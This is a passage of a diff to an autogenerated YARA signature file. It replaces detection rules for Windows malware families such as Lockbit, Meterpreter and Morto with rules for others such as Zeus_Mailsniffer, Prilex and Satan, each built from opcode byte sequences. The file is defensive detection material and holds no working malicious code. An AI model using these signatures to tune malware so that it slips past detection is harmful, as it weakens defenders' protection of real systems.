filesize < 393216 } -rule MALPEDIA_Win_Morto_Auto : FILE +rule MALPEDIA_Win_Coronavirus_Ransomware_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8b5b99ce-9055-5caf-9153-d6b5f44f1d51" + id = "6151d4f1-97cc-5312-ae6b-4a65c017356c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.morto" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.morto_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.coronavirus_ransomware" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.coronavirus_ransomware_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "3f690f88537e995c1dc2e4101db7568f5b1a20d460c6735cbb429d69f53136bf" + logic_hash = "12ada14137bab3268f52ca487b70dc117c439c16c715b2ea437f3cb7436cd1a9" score = 75 quality = 75 tags = "FILE" @@ -128904,34 +128821,34 @@ rule MALPEDIA_Win_Morto_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 e8???????? 59 8d8594fdffff 59 56 50 } - $sequence_1 = { 8bf9 760c 8a4d10 280c30 40 3b450c } - $sequence_2 = { 0f859f020000 53 57 8ac0 33db ba25537973 } - $sequence_3 = { ff55ec 53 6a04 ff55e4 6a01 } - $sequence_4 = { 6a01 68???????? ff35???????? a3???????? e8???????? 83c438 } - $sequence_5 = { 3bc3 59 0f843e010000 8d4dbc 51 50 } - $sequence_6 = { c20c00 b8???????? e8???????? 81ec38020000 53 56 57 } - $sequence_7 = { 50 6a00 ff15???????? 85c0 894704 742a 83c005 } - $sequence_8 = { b9???????? e9???????? 55 8bec b86c260300 } - $sequence_9 = { 8b450c 68???????? c745f44d61696e c745f854687265 ff30 c745fc61640000 ff15???????? } + $sequence_0 = { 8b7dbc 2bfb 1bc6 8945d0 8b4dc8 8d140b } + $sequence_1 = { 83c404 85f6 746a 803e00 7465 33c0 33d2 } + $sequence_2 = { 8b35???????? 83c404 85f6 746a 803e00 } + $sequence_3 = { 90 8b55ec 8b45f0 6a00 b9???????? 81e9???????? } + $sequence_4 = { e8???????? 83c404 6a00 6a00 0fb60d???????? 8b148d78954100 52 } + $sequence_5 = { 33f6 56 56 6a03 56 6a03 56 } + $sequence_6 = { ffd0 6800200000 8d85f8deffff 50 ff15???????? } + $sequence_7 = { 85db 0f84cd010000 c745fc01000000 8975e4 } + $sequence_8 = { b8???????? e8???????? 8d4df0 51 8d55a0 52 } + $sequence_9 = { ff15???????? 8b35???????? 83c418 68???????? ffd6 68???????? ffd6 } condition: - 7 of them and filesize < 49152 + 7 of them and filesize < 235520 } -rule MALPEDIA_Win_Lockbit_Auto : FILE +rule MALPEDIA_Win_Ahtapot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4ed7dbc7-3585-5c20-a9ac-479c38ded866" + id = "30983b3b-d2d6-5541-9384-47b5921b3fc8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lockbit_auto.yar#L1-L210" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ahtapot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ahtapot_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "d83c3bb6fdeb9666252e892916a121a76bca2329b4383b39f3b9be802c917095" + logic_hash = "7f340dfa857e7f52e8c2b134f735bba10e8c0df571d4ec73a1af949780ad4400" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -128943,43 +128860,32 @@ rule MALPEDIA_Win_Lockbit_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 66ad 90 6683f841 720b 6683f85a 7705 } - $sequence_1 = { 7407 3d9bb4840b 7518 8b4e0c 03cb } - $sequence_2 = { 6a00 6a00 6800000040 ff75d4 } - $sequence_3 = { 8bec 81ec7c030000 53 56 57 8d9d84fcffff } - $sequence_4 = { 66b82000 f266af 85c9 7512 } - $sequence_5 = { 8d8550fdffff 50 6a00 ff15???????? } - $sequence_6 = { 33c0 8d7df0 33c9 53 } - $sequence_7 = { 660f73f904 660fefc8 0f28c1 660f73f804 } - $sequence_8 = { 50 8d45fc 50 ff75fc ff75f4 } - $sequence_9 = { 33d0 8bc1 c1e810 0fb6c0 c1e208 } - $sequence_10 = { 5b 8907 897704 894f08 89570c f745f800000002 740c } - $sequence_11 = { 47 4e 85f6 75d2 5d 5f 5e } - $sequence_12 = { 03d0 90 85c0 75e1 8bc2 5e 5a } - $sequence_13 = { 89570c f745f800000002 740c 5f 5e b801000000 } - $sequence_14 = { 57 8d9d84fcffff b900c2eb0b e2fe e8???????? 53 } - $sequence_15 = { ff759c 8d858cfeffff 50 ff7610 51 e8???????? 83c628 } - $sequence_16 = { 8d45f4 50 6a00 6a00 ff15???????? } - $sequence_17 = { 8bfb 895830 33fe 897834 8bf7 } - $sequence_18 = { 894f64 33d6 8b7510 895768 8bda } - $sequence_19 = { 740b 83e904 8b040e 89040f } - $sequence_20 = { 740b 83e902 0fb7040e 6689040f f6c204 7409 83e904 } + $sequence_0 = { c1fa05 8bc2 c1e81f 03d0 b814000000 2bc2 0fb7542410 } + $sequence_1 = { 51 8d9580fbffff 52 8d8570f7ffff 68???????? 50 ffd7 } + $sequence_2 = { 8d842494000000 6683383f 7508 ba20000000 668910 41 66399c4c94000000 } + $sequence_3 = { bf00000800 7413 893d???????? 833b02 7422 } + $sequence_4 = { 69c9e8030000 51 ff15???????? 80bec412000000 0f8504fbffff 33c0 8b8c24d8120000 } + $sequence_5 = { 7cb7 3d00010000 740a c786a4af060028a74200 8a55fc 8894303c1b0000 8d8eb41e0000 } + $sequence_6 = { 0f8494000000 8d85bcf7ffff 8d5002 8d642400 668b08 83c002 6685c9 } + $sequence_7 = { 889d65cbffff 89954ccbffff 898550cbffff 899d28cbffff 899d38cbffff 899d48cbffff } + $sequence_8 = { 75df 8d85d0fdffff 50 ffd3 8b4dfc 5f 5e } + $sequence_9 = { 899d70cbffff 899568cbffff 899d60cbffff 3bf3 7533 8b8518cbffff 8b4804 } condition: - 7 of them and filesize < 2049024 + 7 of them and filesize < 430080 } -rule MALPEDIA_Win_Vx_Rat_Auto : FILE +rule MALPEDIA_Win_Anel_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "819f769e-28ec-57e1-97b7-877072140604" + id = "6aaa2dab-4b34-505d-ab57-a83be80c60ae" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vx_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vx_rat_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.anel" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.anel_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "97c6bacd6a4877ccea5be5ba5b0fe3c6e6fc6df11d41b5e80278399e84bfb336" + logic_hash = "bf88932655884d72c230c9a3ca2d9886c485937f46465847549f25d9f3a65ea5" score = 75 quality = 75 tags = "FILE" @@ -128993,19 +128899,19 @@ rule MALPEDIA_Win_Vx_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d45f4 64a300000000 8bf1 8b1d???????? c70600000000 c7461400000000 85db } - $sequence_1 = { 8b0d???????? 8bd3 ff7608 6a32 50 } - $sequence_2 = { e9???????? d9ee 84cd 0f84d2ae0000 d9e0 e9???????? ddd8 } - $sequence_3 = { a1???????? 833c0700 7518 6a28 e8???????? 8b0d???????? 83c404 } - $sequence_4 = { 8b45b8 03c0 c78540fdffff07000000 6889000000 } - $sequence_5 = { 8bca c1f906 83e23f 6bd238 8b0c8d10df4300 88441129 } - $sequence_6 = { 8b048510df4300 f644082801 7406 8b440818 5d } - $sequence_7 = { 8b4ddc 8b45e8 8b0c8d10df4300 f644082804 7416 8a45ec } - $sequence_8 = { 55 8bec 8b4510 56 8b750c 8b0e 3b0c8514e24300 } - $sequence_9 = { 68e0070000 57 e8???????? ffb5d8f7ffff eb0c 68e0070000 } + $sequence_0 = { ebc4 395dc4 7515 8b4594 83c0c8 50 8d4580 } + $sequence_1 = { 83781410 897810 7202 8b00 c60000 39bb3c020000 } + $sequence_2 = { 7403 33db 43 899fd4010000 6a01 33ff 8d750c } + $sequence_3 = { 53 8d45c4 33ff 50 895dfc 47 6802000080 } + $sequence_4 = { 7477 03fe 57 8d857cffffff 50 53 e8???????? } + $sequence_5 = { 68???????? 50 e8???????? 83c410 8d45d0 50 e8???????? } + $sequence_6 = { 6a00 8bd0 8d8c24b0000000 c684245c01000005 e8???????? 53 33ff } + $sequence_7 = { 837f1410 7202 8b3f 8d442450 50 57 e8???????? } + $sequence_8 = { 8d7dd0 a5 a5 a5 a5 8b75f0 8bfb } + $sequence_9 = { 837f1410 7204 8b07 eb02 8bc7 8d3418 56 } condition: - 7 of them and filesize < 550912 + 7 of them and filesize < 376832 } rule MALPEDIA_Win_Devilstongue_Auto : FILE { @@ -129046,18 +128952,18 @@ rule MALPEDIA_Win_Devilstongue_Auto : FILE condition: 7 of them and filesize < 990208 } -rule MALPEDIA_Win_Dusttrap_Auto : FILE +rule MALPEDIA_Win_Lightneuron_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6dc8c0b6-03e4-543a-8235-ad282f751715" + id = "effcdfe2-a4bd-534e-86eb-84be08a02b5f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dusttrap" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dusttrap_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightneuron" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lightneuron_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "99d0157bbc57f142e4b3ca02f7a6fc667dbe8aaf793dc492ed4ef3b4577c5d17" + logic_hash = "6ad51552136a32b2e5f3fef922b412240ca64bebb497b163d34faf6af2a9c320" score = 75 quality = 75 tags = "FILE" @@ -129071,32 +128977,32 @@ rule MALPEDIA_Win_Dusttrap_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4133c0 c1e008 33c2 4389848c40ec0200 c1c008 } - $sequence_1 = { 492bf4 75a9 488b9c24b80a0000 488bbc24a80a0000 4c8bbc24980a0000 4c8bac24a00a0000 488bb424b00a0000 } - $sequence_2 = { 478b9c8240dc0200 48c1e918 45339c9240e80200 41c1ef08 410fb6d7 4c8d3d5257ffff 45339c8a40d80200 } - $sequence_3 = { 4c8bf9 33d2 488b0d???????? 8bf5 488b89f8000000 e8???????? } - $sequence_4 = { 488bbc24a80a0000 4c8bbc24980a0000 4c8bac24a00a0000 488bb424b00a0000 4d85f6 743f 488b0d???????? } - $sequence_5 = { e8???????? 8bf0 85c0 0f85f4000000 0f57c0 } - $sequence_6 = { 498d4e30 4533c0 baa00f0000 e8???????? 488b05???????? 4c8d0539810100 488bd5 } - $sequence_7 = { 448bf6 4903df 4981c600ffffff 33d2 41b820030000 4c03f3 e8???????? } - $sequence_8 = { 89442420 488b8988010000 448d4204 e8???????? 488b0d???????? 488d8424d0000000 48896c2458 } - $sequence_9 = { 488b4108 488d4908 488902 488d5208 } + $sequence_0 = { 488b0d???????? 4885d2 480f45ca ff15???????? 488b4b08 8d5001 e8???????? } + $sequence_1 = { 448830 e8???????? 85c0 744e 488bcb e8???????? 41ffc4 } + $sequence_2 = { 488bd3 4c0f45c8 488b05???????? 488bcf 4885c0 4c0f45c0 e8???????? } + $sequence_3 = { c744244801000000 85ff 0f8598080000 488b8c24d8000000 4883f901 7304 33c0 } + $sequence_4 = { 2bd8 78ef 4863db 488bd5 4803de 488bcb } + $sequence_5 = { e8???????? 488bc7 41be01000000 458d4603 33d2 488bcf 4c89742470 } + $sequence_6 = { 4883ec38 488b4c2440 ff15???????? 89442420 837c2420ff 7507 } + $sequence_7 = { 4885ed 7437 4885c0 7432 488d7501 483bf0 7729 } + $sequence_8 = { 0fb6c8 410fb6c1 339c8dc0e90300 339c8580d50300 418bc1 41c1e910 41335d04 } + $sequence_9 = { 4c89742428 4489742420 e8???????? 418bee 488b05???????? 488b15???????? } condition: - 7 of them and filesize < 421888 + 7 of them and filesize < 573440 } -rule MALPEDIA_Win_Makloader_Auto : FILE +rule MALPEDIA_Win_Unidentified_104_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "26ebb112-b6ed-51a4-bad8-c324e66e4906" + id = "22cbe35d-f38f-5d67-9ed1-a6824dbbad6b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.makloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.makloader_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_104" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_104_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "854a6b1744de222da9ac653a892bbe0900bac42ce1325f6f01c3e73dc26cfb28" + logic_hash = "7237a55b9f406cfa347ef2bcf70f76cf7dbf15c7062684d829227ca0ac28ac39" score = 75 quality = 75 tags = "FILE" @@ -129110,32 +129016,32 @@ rule MALPEDIA_Win_Makloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6bca00 8b440dbc 8b540dc0 b127 } - $sequence_1 = { c7857cebffff00000000 c78580ebffff00000000 8d8554e5ffff 898584ebffff c78588ebffff00000000 8d8d74ebffff } - $sequence_2 = { 33d2 8b45fc 83c003 8810 8b45fc 8be5 } - $sequence_3 = { a1???????? 33c5 8945fc c745c000100000 } - $sequence_4 = { 8b94d530fdffff b103 e8???????? 0bd8 8b8520fdffff 0bc2 33f3 } - $sequence_5 = { e8???????? 8818 ebbf 6a09 8b4df8 83c101 e8???????? } - $sequence_6 = { 8b540dc0 b122 e8???????? 8bd8 } - $sequence_7 = { 89856ce6ffff 33d2 899514e5ffff 899518e5ffff } - $sequence_8 = { 8b08 8b55cc 52 8b410c } - $sequence_9 = { 884130 ba01000000 6bc230 8b4d08 0fb61401 52 8b4dfc } + $sequence_0 = { 488b7910 488bd9 488bcf 4c8bf2 e8???????? ba20000000 498bce } + $sequence_1 = { 488bf9 498bd8 488d4c2420 e8???????? 41b804000000 488d4c2450 488bd3 } + $sequence_2 = { 48897e10 48897e18 0f1000 0f1106 0f104810 0f114e10 48897810 } + $sequence_3 = { 8bda e8???????? 4885c0 750d e8???????? 33c0 4883c420 } + $sequence_4 = { 4c8bb42490000000 498b86a0000000 4803c1 4c03d8 4933d3 4c895c2408 4c8bda } + $sequence_5 = { 4933ca 4c8b942490000000 498b82a8000000 4803c1 4c03c0 4933d0 } + $sequence_6 = { cc e8???????? 4d8d4601 488bd6 498bcf e8???????? 48891e } + $sequence_7 = { 41c1ea19 4433d0 4403742408 4503e2 8b442404 4133dc } + $sequence_8 = { e8???????? 4439b59c000000 7413 e9???????? ff15???????? cc 4489b59c000000 } + $sequence_9 = { 49c1e820 4c33c2 488b542420 4903d0 4c33ca 498bc9 } condition: - 7 of them and filesize < 335872 + 7 of them and filesize < 263168 } -rule MALPEDIA_Win_Meterpreter_Auto : FILE +rule MALPEDIA_Win_Prilex_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a6f1771a-05aa-5edf-806e-8f4646e6de38" + id = "ddf38178-7ef1-5c36-b125-6bf3f451e7fb" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.meterpreter" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.meterpreter_auto.yar#L1-L114" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.prilex" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.prilex_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "b31b408f14a6efeb814ec89850c20aeb2f6b49daa7fba766082bcbe19d74b589" + logic_hash = "fbaec0a907818a5c45443c868d80b924ff651b8b9668a983a8d7f07c1fa9a7e6" score = 75 quality = 75 tags = "FILE" @@ -129149,32 +129055,32 @@ rule MALPEDIA_Win_Meterpreter_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7b5d c7400800000000 8b561c c7420c00000000 } - $sequence_1 = { c07d14eb 8b542472 8cd0 f733 ce } - $sequence_2 = { 56 e8???????? 85d9 f5 } - $sequence_3 = { e04f 1089471c8b8e 48 e600 00ee } - $sequence_4 = { 0000 68ffff0000 52 ffd7 8b2410 } - $sequence_5 = { 02c0 8bf7 b94c000061 f3ab 8b4573 8b4d0c 8bbdfc89068b } - $sequence_6 = { 57 57 897810 57 } - $sequence_7 = { 8d919248b299 40 93 49 722f } - $sequence_8 = { 8b3c87 1485 c9 896375 8b3b } - $sequence_9 = { d040f3 27 c0eb80 d440 0075cc b8???????? } + $sequence_0 = { 8d4ddc ff15???????? 8d4dcc ff15???????? 8d55c4 52 6a00 } + $sequence_1 = { 8d4db0 50 51 8975b0 e8???????? 8b55e8 } + $sequence_2 = { c785d4feffff01000000 8b45c4 50 6a01 ff15???????? } + $sequence_3 = { 8b550c 3b32 0f84d4000000 3bf7 0f84cc000000 8d55b8 } + $sequence_4 = { ff15???????? 50 8b45e0 8d4ddc 50 } + $sequence_5 = { 8bf0 ff15???????? 8d45c8 8d4dcc 50 51 } + $sequence_6 = { 33c0 833a00 0f95c0 0bc8 85c9 7538 c745fc03000000 } + $sequence_7 = { 51 e8???????? 8945d0 c745fc04000000 66c785f8feffff0000 8d95f8feffff } + $sequence_8 = { 8d8dacfdffff 68???????? 52 898d54fdffff c7854cfdffff08400000 } + $sequence_9 = { 8b542428 33c0 89442414 53 8944241c 33c9 } condition: - 7 of them and filesize < 188416 + 7 of them and filesize < 450560 } -rule MALPEDIA_Win_Ismdoor_Auto : FILE +rule MALPEDIA_Win_Pubload_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "540e8392-0220-5703-98ef-e8f75cf1cca1" + id = "eb3eb2a3-33cb-52f0-8b9b-1e92524c642b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ismdoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ismdoor_auto.yar#L1-L153" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pubload" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pubload_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "0347b8b3605f80aa046ee397578be54423bd20b2d0f0c466e85204c8c4819aa8" + logic_hash = "cbebb262e4f807799c3d6fba9199253493785b2d8970bb9dd2ccb71611e2a01f" score = 75 quality = 75 tags = "FILE" @@ -129188,37 +129094,32 @@ rule MALPEDIA_Win_Ismdoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83f8ff 7504 32c0 eb05 c0e804 2401 84c0 } - $sequence_1 = { 488bd6 488bcb ff5048 4885c0 750e } - $sequence_2 = { 7419 488d4dc0 e8???????? 483bd8 7405 } - $sequence_3 = { 448bc3 4963c0 4585c0 7514 } - $sequence_4 = { 90 c685200100006b 4c89bd38010000 4c89bd40010000 48c7854001000007000000 } - $sequence_5 = { 488d4c2448 e8???????? 90 4c8d45f0 488bd0 } - $sequence_6 = { 488b45b8 48898310020000 48898318020000 48898320020000 } - $sequence_7 = { e9???????? 4532ed 488d8db0010000 e8???????? } - $sequence_8 = { eb02 33c0 8bbdccfbffff 6bc009 0fb6bc38107a4700 8bc7 } - $sequence_9 = { e8???????? 83f8ff 7e3c ff75ec } - $sequence_10 = { 52 50 e8???????? 68e8030000 ffd6 } - $sequence_11 = { c645fc3f e9???????? 6a00 68???????? } - $sequence_12 = { c785f0fdffff00000000 50 6a00 6a00 6a1d 8bf1 } - $sequence_13 = { 46 83fe10 7cdb ff75d0 8d55e8 } - $sequence_14 = { 8bc8 eb0c 0fb6c0 0fbe8040714800 03c8 } + $sequence_0 = { e8???????? 83c408 33c9 68???????? 66894802 } + $sequence_1 = { ff15???????? 68???????? 6a00 6a00 6a00 ff15???????? c3 } + $sequence_2 = { 6804010000 68???????? 6a00 ff15???????? 6a5c } + $sequence_3 = { ff15???????? 6a5c 68???????? e8???????? 83c408 33c9 68???????? } + $sequence_4 = { 83c408 33c9 68???????? 66894802 ff15???????? } + $sequence_5 = { 6803001f00 ff15???????? 85c0 7408 6a00 ff15???????? 68???????? } + $sequence_6 = { 68???????? 6a00 6a00 6a00 ff15???????? c3 } + $sequence_7 = { 68???????? 6a00 ff15???????? 6a5c 68???????? e8???????? 83c408 } + $sequence_8 = { 68???????? e8???????? 83c408 33c9 68???????? } + $sequence_9 = { 6a00 6a00 6a00 ff15???????? c3 } condition: - 7 of them and filesize < 1933312 + 7 of them and filesize < 524288 } -rule MALPEDIA_Win_Reaver_Auto : FILE +rule MALPEDIA_Win_Zeus_Mailsniffer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7725038c-885d-586e-9f95-5e06e196979a" + id = "fb336c30-936c-5161-8554-4fa39d727895" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.reaver" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.reaver_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_mailsniffer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zeus_mailsniffer_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "83dafe6f8435f2ac84b6d9a74f3f9ba4ae0b3ddc0578ba5a08e90d4a03423ef1" + logic_hash = "b88fdb233f08271f4c82945f7e7e3b8d498570e4526ea1a19d24dcafd9d77060" score = 75 quality = 75 tags = "FILE" @@ -129232,32 +129133,32 @@ rule MALPEDIA_Win_Reaver_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 3d14050000 7504 33c0 c9 c3 } - $sequence_1 = { 7453 8d45f4 50 ff7508 6a00 ff15???????? } - $sequence_2 = { ff15???????? 85c0 7440 8b45f4 6a00 } - $sequence_3 = { ff15???????? 85c0 7453 8d45f4 } - $sequence_4 = { 50 ff15???????? 85c0 7453 8d45f4 50 ff7508 } - $sequence_5 = { ff15???????? 85c0 740d ff15???????? 3d14050000 7504 33c0 } - $sequence_6 = { 85c0 7453 8d45f4 50 ff7508 } - $sequence_7 = { 50 ff7508 6a00 ff15???????? 85c0 7440 } - $sequence_8 = { 6a00 ff15???????? 85c0 7440 8b45f4 6a00 } - $sequence_9 = { 50 c6467430 e8???????? 83c634 } + $sequence_0 = { 81ec1c020000 56 6a1c 58 8945f0 c745f4c89d2d01 8945f8 } + $sequence_1 = { 0f8486000000 6a10 58 e8???????? 8bf0 85f6 } + $sequence_2 = { e8???????? 83c40c 833e00 894608 897e0c 7421 } + $sequence_3 = { 8b4508 8b4dec c745f451000000 8908 83ff17 750f } + $sequence_4 = { e8???????? 57 68???????? 57 e8???????? 83c424 } + $sequence_5 = { 85c0 0f8498010000 8b45f4 8365c800 83c004 } + $sequence_6 = { 57 8d85ecfeffff 50 53 8d85b4faffff } + $sequence_7 = { ff15???????? ffb424f4040000 ff15???????? 8b8424cc040000 } + $sequence_8 = { 83c410 85ff 742c 8b462c ff7608 ff7628 85c0 } + $sequence_9 = { 743f 66833f00 7439 56 6a16 8d75e4 58 } condition: - 7 of them and filesize < 106496 + 7 of them and filesize < 368640 } -rule MALPEDIA_Win_Chiser_Client_Auto : FILE +rule MALPEDIA_Win_Webc2_Yahoo_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c99b11d6-95f8-5089-bb79-3dcbcddf715f" + id = "363fee5b-028a-51bb-ae8e-5e88e615a60a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chiser_client" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chiser_client_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_yahoo" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_yahoo_auto.yar#L1-L114" license_url = "N/A" - logic_hash = "a4f562ea6b25a50fa272453bc9361d6900c9cafcbad3f751e3aa04995d53620d" + logic_hash = "cbf24b20d63128f54b5e31c01d6a0853cc228489290e6c3462d1dc4838163313" score = 75 quality = 75 tags = "FILE" @@ -129271,32 +129172,32 @@ rule MALPEDIA_Win_Chiser_Client_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 48890a 48894a08 488d4808 e8???????? 488d05a9e30200 488903 488bc3 } - $sequence_1 = { 480f40c1 488bc8 e8???????? 488bc8 49890424 } - $sequence_2 = { 0f1f440000 418d40fc 460fb61408 418d40fd 460fb61c08 } - $sequence_3 = { c744245865007800 c744245c2e006800 c744246074006d00 c74424646c000000 4c89742430 bf01000000 897c2428 } - $sequence_4 = { 498b0e 4c8d4110 488d5108 e8???????? 90 488bcb e8???????? } - $sequence_5 = { 41b904000000 0f1f440000 b904000000 6666660f1f840000000000 410fb60414 } - $sequence_6 = { 488bc5 0f1f00 48ffc0 66833c4100 75f6 83c008 4863f8 } - $sequence_7 = { 48636908 488bf1 4c8b7118 b802000000 } - $sequence_8 = { 48894320 488d1511f5ffff e8???????? eb09 488bcb ff15???????? 408ac5 } - $sequence_9 = { 81ca00000780 85c0 0f4ed0 e8???????? 488d1584aa0100 488d4c2440 } + $sequence_0 = { 8d443802 50 e8???????? 56 e8???????? ff750c } + $sequence_1 = { ffb69c841e00 ff15???????? 85c0 7506 53 } + $sequence_2 = { e8???????? 015d0c 03f3 83c428 } + $sequence_3 = { ffb694841e00 ffd3 57 e8???????? 59 } + $sequence_4 = { 83ec64 8b4d08 56 57 68???????? 6a01 } + $sequence_5 = { e8???????? 6a04 68???????? ff750c ff15???????? } + $sequence_6 = { 85c0 0f84b4000000 8d85fcfeffff 56 50 8d85fcfeffff } + $sequence_7 = { 8d85c8fdffff 56 50 e8???????? 83c418 } + $sequence_8 = { 8b7518 83c414 8d85fcd7ffff 8bcb } + $sequence_9 = { b838280000 e8???????? 53 56 } condition: - 7 of them and filesize < 714752 + 7 of them and filesize < 8060928 } -rule MALPEDIA_Win_Dropshot_Auto : FILE +rule MALPEDIA_Win_Satan_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "346ce58d-bd06-5f2e-8d2b-941cfe3b7a37" + id = "68d44cab-535c-5e80-af20-cc11a23f278f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dropshot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dropshot_auto.yar#L1-L100" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.satan" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.satan_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "e0a96c7028a31f8096e80273f88669f127d961f8172465734bc77ab98df7c7f9" + logic_hash = "d0b3d89d021ce91fc4570ebd9fe46022bd9b8c1b3f3581186971725c2d3f1922" score = 75 quality = 75 tags = "FILE" @@ -129310,30 +129211,32 @@ rule MALPEDIA_Win_Dropshot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a05 ff15???????? ff15???????? 6a00 6a00 6a00 } - $sequence_1 = { ff15???????? 5d c3 3b0d???????? f27502 } - $sequence_2 = { 6a64 ff15???????? 6800800000 6a00 } - $sequence_3 = { e8???????? eb05 e8???????? 68e8030000 ff15???????? } - $sequence_4 = { 6a00 6a00 ff15???????? 6a00 6a00 68???????? } - $sequence_5 = { ff15???????? 6a04 6800100000 6808020000 } - $sequence_6 = { e8???????? 83c40c 6a04 6800100000 6804010000 6a00 } - $sequence_7 = { ff15???????? 6a00 ff15???????? 6a05 ff15???????? ff15???????? } + 